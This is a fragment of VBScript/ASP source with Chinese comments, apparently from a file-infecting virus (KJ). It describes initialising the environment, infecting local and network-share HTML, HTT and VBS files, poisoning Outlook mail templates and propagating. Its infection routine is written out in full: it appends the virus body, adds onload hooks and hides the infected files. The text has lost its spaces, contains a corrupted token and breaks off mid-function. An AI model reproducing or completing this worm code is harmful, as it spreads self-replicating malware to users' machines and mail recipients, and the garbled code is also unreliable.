<%
DimInWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk

SubKJ_start()
'初始化变量
K *** etDim()
'初始化环境
KJCreateMilieu()
'感染本地或者共享上与html所在目录
KJLikeIt()
'通过vbs感染Outlook邮件模板
KJCreateMail()
'进行病毒传播
KJPropagate()
EndSub

'函数：KJAppendTo(FilePath,TypeStr)
'功能：向指定类型的指定文件追加病毒
'参数：
'FilePath指定文件路径
'TypeStr指定类型

FunctionKJAppendTo(FilePath,TypeStr)
OnErrorResumeNext
'以只读方式打开指定文件
SetReadTemp=FSO.OpenTextFile(FilePath,1)
'将文件内容读入到TmpStr变量中
TmpStr=ReadTemp.ReadAll
'判断文件中是否存在KJ_start()字符串，若存在说明已经感染，退出函数；
'若文件长度小于1，也退出函数。
IfInStr(TmpStr,KJ_start())<>0OrLen(TmpStr)<1Then
ReadTemp.Close
ExitFunction
EndIf
'如果传过来的类型是htt
'在文件头加上调用页面的时候加载KJ_start()函数;
'在文件尾追加html版本的加密病毒体。
'如果是html
'在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;
'如果是vbs
'在文件尾追加vbs版本的病毒体
IfTypeStr=httThen
ReadTemp.Close
SetFileTemp=FSO.OpenTextFile(FilePath,2)
FileTemp.Write<&BODYonload=
&vbscript:&KJ_start()&>&vbCrLf&TmpStr&vbCrLf&HtmlText
FileTemp.Close
SetFAttrib=FSO.GetFile(FilePath)
FAttrib.Attributes=34
Else
ReadTemp.Close
SetFileTemp=FSO.OpenTextFile(FilePath,8)
IfTypeStr=htmlThen
FileTemp.WritevbCrLf&<&HTML>&vbCrLf&<
&BODYonload=&vbscript:&KJ_start()&>&vbCrLf&HtmlText
ElseIfTypeStr=vbsThen
FileTemp.WritevbCrLf&VbsText
EndIf
FileTemp.Close
EndIf
EndFunction

'函数：KJChangeSub(CurrentString,LastIndexChar)
'功能：改变子目录以及盘符
'参数：
'CurrentString当前目录
'LastIndexChar上一级目录在当前路径中的位置

FunctionKJChangeSub(CurrentString,LastIndexChar)
'判断是否是根目录
IfLastIndexChar=0Then
'如果是根目录
'如果是C:\，返回FinalyDisk盘，并将SubE置为0，
'如果不是C:\，返回将当前盘符递减1，并将SubE置为0
IfLeft(LCase(CurrentString),1)=
KJChangeSub=FinalyDisk&:\